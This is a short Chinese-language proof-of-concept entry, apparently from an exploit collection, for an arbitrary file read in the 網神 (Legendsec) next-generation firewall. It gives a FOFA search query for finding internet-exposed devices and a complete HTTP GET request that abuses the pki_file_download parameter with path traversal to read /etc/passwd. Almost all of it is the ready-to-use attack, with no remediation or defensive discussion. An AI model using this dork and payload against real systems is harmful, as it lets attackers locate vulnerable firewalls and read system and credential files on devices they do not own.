網神下一代極速防火牆_pki_file_download_任意文件讀取漏洞

# 網神下一代極速防火牆 pki file download 任意文件讀取漏洞
==FOFA==

app="网神下一代极速防火墙"

==POC==

GET /?g=pki_file_download&filename=../../../../../etc/passwd HTTP/1.1
Host: 
Connection: close
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: __s_sessionid__=7rl7vvg1mlc00gf4pfmo74h0t7